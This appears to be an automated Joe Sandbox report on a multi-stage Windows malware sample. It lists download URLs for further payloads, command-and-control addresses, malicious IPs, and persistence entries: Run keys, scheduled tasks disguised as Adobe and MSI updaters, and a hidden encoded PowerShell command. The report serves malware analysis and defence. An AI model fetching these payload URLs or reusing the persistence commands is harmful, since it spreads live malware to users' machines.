http://147.45.47.102:57893/cost/go.exe92.168.0	H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	false
http://purl.oen:	8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2167892516.0000000005A71000.00000004.00000020.00020000.00000000.sdmp	false
http://www.innosetup.com/	jNWxa0Pc_jGneI3LjcIqUJSt.exe, 0000000F.00000003.1882482772.0000000002340000.00000004.00001000.00020000.00000000.sdmp	false
http://www.borland.com/namespaces/TypesP%	DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1915288719.00000000008EE000.00000004.00000020.00020000.00000000.sdmp	false
https://sun6-21.userapi.com/c909618/u5294803/docs/d8/2a65b6d566b9/WWW11_32.bmp?extra=pQTODAN8utbcf_q	BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.170/es	FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002DE7000.00000004.00000020.00020000.00000000.sdmp	false
http://5.42.65.116/lumma2305.exeyDataa	Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2217328313.0000000005F74000.00000004.00000020.00020000.00000000.sdmp	false
http://fleur-de-lis.sbs/jhgfdexe	BI6oo9z4In.exe, 00000000.00000003.1757415129.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1753985920.0000000004473000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.47.149:54674/vape/niko.exekij3oroi.exe	BI6oo9z4In.exe, 00000000.00000003.1747226346.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745941002.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742365598.000000000447B000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748785215.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1750695807.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1746277754.0000000004473000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745501993.0000000004478000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2165373635.0000000005663000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2085485086.000000000566D000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2036781439.000000000566D000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2086391283.00000000061E1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2088746807.00000000061F1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2093698766.0000000006209000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2058757085.0000000001AD5000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2060114350.0000000001AF3000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2300077738.00000000058D7000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2292997422.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2291205459.00000000058BD000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2297500238.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.2381679649.000000000441A000.00000004.00000800.00020000.00000000.sdmp	false
https://t.me/RiseProSUPPORT	8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2217900241.00000000061BC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.000000000197E000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2085485086.000000000566D000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2036781439.000000000566D000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2086391283.00000000061E1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2088746807.00000000061F1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2093698766.0000000006209000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2058757085.0000000001AD5000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2060114350.0000000001AF3000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2292997422.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2291205459.00000000058BD000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2297500238.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	false
http://sta.alie3ksgee.com/e3ksgee.com/aaaaaaaa.jpg	0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2286384754.000001F7DDCDC000.00000004.00000020.00020000.00000000.sdmp	false
http://ns.microsofo/1.2/Yy	_vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2428781319.00000000029D7000.00000004.00000020.00020000.00000000.sdmp	false
http://www.borland.com/namespaces/Typeshhttp://www.borland.com/namespaces/Types-IWSDLPublish	BI6oo9z4In.exe, 00000000.00000003.1745786108.0000000005153000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1753617941.0000000005503000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756586247.0000000005B3C000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747715910.0000000005268000.00000004.00000020.00020000.00000000.sdmp, DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000000.1873901437.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.phpLm	FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2402263027.0000000029452000.00000004.00000020.00020000.00000000.sdmp	false
http://5.42.65.116/lumma2305.exeJ	Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2216984836.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.1	FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2402263027.0000000029452000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2402263027.000000002948A000.00000004.00000020.00020000.00000000.sdmp	true
https://ipinfo.io/	_vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.000000000109F000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.1950696558.0000000001107000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.00000000010E4000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/namehttps://ipgeolocation.io/status	BI6oo9z4In.exe, 00000000.00000003.1655717877.0000000001F70000.00000004.00001000.00020000.00000000.sdmp	false
http://5.42.65.116/lumma2305.exeB	_vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2429616383.00000000058EC000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000000.1873901437.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.php519b14a750ac00c463c49a33bcebreleasece0c32b5f228bbe2af1838	FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000549000.00000040.00000001.01000000.0000000E.sdmp	false
https://vk.com/doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6zwGe	BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp	false
https://kurd.computer/dll/builddoc.exe$	BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	false
http://www.borland.com/namespaces/Typesc0da53	DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1915288719.00000000008EE000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/mime/	DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000000.1873901437.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	false
http://5.42.65.116/lumma2305.exeR	8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	false
http://185.172.128.170/7043a0c6a68d9c65.phpgI	FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002DE7000.00000004.00000020.00020000.00000000.sdmp	false
https://sun6-23.userapi.com/c240331/u863235369/docs/d9/9b11db64d68a/crypted.bmp?extra=RIXI9ZURxHbNwK	BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botC	Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/8.46.123.175i	H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A05000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.47.102:57893/hera/amadka.exe	H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/3	8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	false
https://aka.ms/dotnet-core-applaunch?	BI6oo9z4In.exe, 00000000.00000003.1748709542.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1746530543.0000000004E40000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747128518.00000000044FA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1746669721.0000000004E40000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747567614.000000000451B000.00000004.00000020.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000000.1873942119.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2305320005.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp	false
http://sta.alie3ksgee.com/aaaaaaaa.jpg~?	0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2286384754.000001F7DDCF6000.00000004.00000020.00020000.00000000.sdmp	false
http://www.borland.com/namespaces/Types	DbsmJHnmNOlKFVGvWfuU03Cy.exe, 0000000C.00000002.1915288719.00000000008EE000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/demo/home.php?s=8.46.123.175P9	Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E47000.00000004.00000020.00020000.00000000.sdmp	false
http://147.45.47.149:54674/vape/niko.exe0/	BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	false
http://sta.alie3ksgee.com/123.456	0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2301739597.000001F7DFBD0000.00000040.00001000.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000003.1926277001.000001F7DFBA0000.00000004.00001000.00020000.00000000.sdmp	false
https://kurd.computer:80/	BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000549000.00000040.00000001.01000000.0000000E.sdmp	false
https://www.srvstattis.top/go/64a6fd1e-5abc-4551-8c7f-408157a00313?site_id=	uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263513625.0000028B1CD61000.00000004.00000800.00020000.00000000.sdmp, uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263513625.0000028B1CD4D000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
85.192.56.26	unknown	Russian Federation	12695	DINET-ASRU	true
185.172.128.159	unknown	Russian Federation	50916	NADYMSS-ASRU	false
37.221.125.202	f.123654987.xyz	Lithuania	62416	PTSERVIDORPT	true
104.102.42.29	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
104.26.5.15	unknown	United States	13335	CLOUDFLARENETUS	false
185.172.128.170	unknown	Russian Federation	50916	NADYMSS-ASRU	true
172.67.132.113	iplogger.org	United States	13335	CLOUDFLARENETUS	false
95.142.206.3	sun6-23.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.0	sun6-20.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.2	sun6-22.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
95.142.206.1	sun6-21.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
172.67.147.32	iplis.ru	United States	13335	CLOUDFLARENETUS	false
5.42.67.8	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
78.47.123.174	unknown	Germany	24940	HETZNER-ASDE	false
147.45.47.149	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
147.45.47.126	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
176.111.174.109	unknown	Russian Federation	201305	WILWAWPL	false
172.67.75.166	db-ip.com	United States	13335	CLOUDFLARENETUS	false
172.67.75.163	api.myip.com	United States	13335	CLOUDFLARENETUS	false
5.42.65.115	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
91.202.233.232	unknown	Russian Federation	9009	M247GB	false
93.186.225.194	vk.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
5.42.65.116	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
5.42.66.10	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
188.114.97.3	lop.foxesjoy.com	European Union	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	employhabragaomlsp.shop	European Union	13335	CLOUDFLARENETUS	true
146.70.56.165	kurd.computer	United Kingdom	2018	TENET-1ZA	false
103.146.158.221	f.alie3ksggg.com	unknown	135763	GAYATRI-ASGAYATRICOMMUNICATIONSIN	true
45.130.41.108	monoblocked.com	Russian Federation	198610	BEGET-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1447048
Start date and time:	2024-05-24 09:41:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BI6oo9z4In.exe renamed because original name is a hash value
Original Sample Name:	04196b8a0869c9f19b3805b4f861a0e1.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@132/314@63/32
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 53% Number of executed functions: 46 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.114.59.183, 199.232.214.172, 192.229.221.95, 20.242.39.171, 13.95.31.18, 172.217.16.195, 172.217.16.142, 64.233.167.84, 34.104.35.123, 142.250.186.99, 40.126.31.71, 20.190.159.75, 40.126.31.67, 40.126.31.73, 20.190.159.0, 20.190.159.2, 20.190.159.68, 20.190.159.73, 204.79.197.203, 13.107.42.16, 142.250.185.142, 13.107.6.158, 4.209.164.61, 2.16.100.35, 2.16.100.25, 2.16.101.122, 2.16.100.33, 2.16.100.34, 2.16.100.42, 2.16.100.19, 2.16.100.24, 2.16.101.120, 13.107.21.239, 204.79.197.239, 23.211.8.90, 2.22.242.121, 2.22.242.82, 2.16.164.121, 2.16.164.65, 20.42.73.29, 40.127.169.103, 52.168.117.173, 13.89.179.12, 20.190.159.71, 20.190.159.23, 142.250.184.206, 20.189.173.22
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, onedsblobprdeus16.eastus.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, clientservices.googleapis.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, tm-prod-wd-csp-edge.trafficmanager.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, onedsblobprdeus15.eastus.cloudapp.azure.com, www.gstatic.com, l-0007.l-msedge.net, wu-b-net.trafficmanager.net, www.bing.com, fs.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, business-bing-com.b-0005.b-msedge.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, blobcollector.events.data.trafficmanager.net, wwwprod.www-bing-com.akadns.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net, config.edge.sk
Execution Graph export aborted for target BI6oo9z4In.exe, PID 6852 because there are no executed function
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:41:58	API Interceptor	17x Sleep call for process: BI6oo9z4In.exe modified
03:42:20	API Interceptor	1x Sleep call for process: LLNkfgDtZiUZkTn30_sZHJcE.exe modified
03:42:22	API Interceptor	350x Sleep call for process: katC73D.tmp modified
03:42:22	API Interceptor	1x Sleep call for process: uyMYdkI0kpEOwxO0H1smOiYQ.exe modified
03:42:28	API Interceptor	1x Sleep call for process: mqno7fOpkNXkRXNi1WQAv6HN.exe modified
03:42:32	API Interceptor	2x Sleep call for process: svchost.exe modified
03:42:37	API Interceptor	1x Sleep call for process: XUm5iHwFVfNXnTAqN672Jc3R.exe modified
03:42:43	API Interceptor	25x Sleep call for process: RegAsm.exe modified
08:42:27	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
08:42:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
08:42:35	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
08:42:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7\unbmFXV_GPtCMFoyWe7JMXak.exe" --AutoStart
08:42:49	Task Scheduler	Run new task: MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 HR path: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe
08:42:49	Task Scheduler	Run new task: MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 LG path: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe
08:42:56	Task Scheduler	Run new task: bMEQProigDkjiofsFM path: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe s>Ud /SWkdidOQjB 525403 /S
08:42:56	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7\unbmFXV_GPtCMFoyWe7JMXak.exe s>--Task
08:42:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe
08:43:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
08:43:09	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 HR path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
08:43:09	Task Scheduler	Run new task: MSIUpdaterV168_bdca866007fb255201297d2a15a49513 LG path: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe
08:43:11	Task Scheduler	Run new task: gZESiaIIW path: powershell s>-WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
08:43:11	Task Scheduler	Run new task: MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 HR path: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe
08:43:11	Task Scheduler	Run new task: MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 LG path: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe
08:43:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7\unbmFXV_GPtCMFoyWe7JMXak.exe" --AutoStart
08:43:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe
08:43:30	Task Scheduler	Run new task: JAeVqHaDHDhSLXtKb path: C:\Windows\Temp\xowWNLtGWEWdmLUC\eeySzPOwfksOjbM\pWNolgj.exe s>fs /KFIididqw 525403 /S
08:43:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513 C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe
08:43:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe
08:43:47	Task Scheduler	Run new task: ffJznYXKoPkMk2 path: C:\Windows\system32\forfiles.exe s>/p C:\Windows\system32 /m wscript.exe /c "cmd /C @FNAME ^"C:\ProgramData\ASdssLgxqXycWiVB\jcOjIfe.wsf^""
08:43:53	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513 C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe
08:44:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7 C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe

Process:	C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85", baseline, precision 8, 600x800, components 3
Category:	dropped
Size (bytes):	1722489
Entropy (8bit):	7.5106525802506905
Encrypted:	false
SSDEEP:	49152:r8Bu6jeTAcNmspkiTYh2zmlr7hT91hoavGtHJBpCbqag/8PTUO:wBDC7VpNYhu2PhTXh78aq8bD
MD5:	88AB00ADD9F34C06DE7BFADD43F153A7
SHA1:	0B924BF80F254AE16235D04D71D8EC59E390EE19
SHA-256:	D7F3C527B559E2FF8D17F71D91525AD3E67BC5F66C48B9E5D9C387701119D117
SHA-512:	E896F08A4F75F96ED9C9283AE3406ABD2C6657046DC37D698CC3ADCCAC402D49A2F72FF2453A8AB58CD0802578F7D8FB9171BA57636D9F4ACD59E053580ACE74
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85....C..............................................!........."$".$.......C....................................................................... .X.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...........:.2.C$0)..%..!....2.\........l.&;........2G.Z..r85...+....l.' +D.P9..b..R..2.....r^(...+.=....U.uy=...E.+. 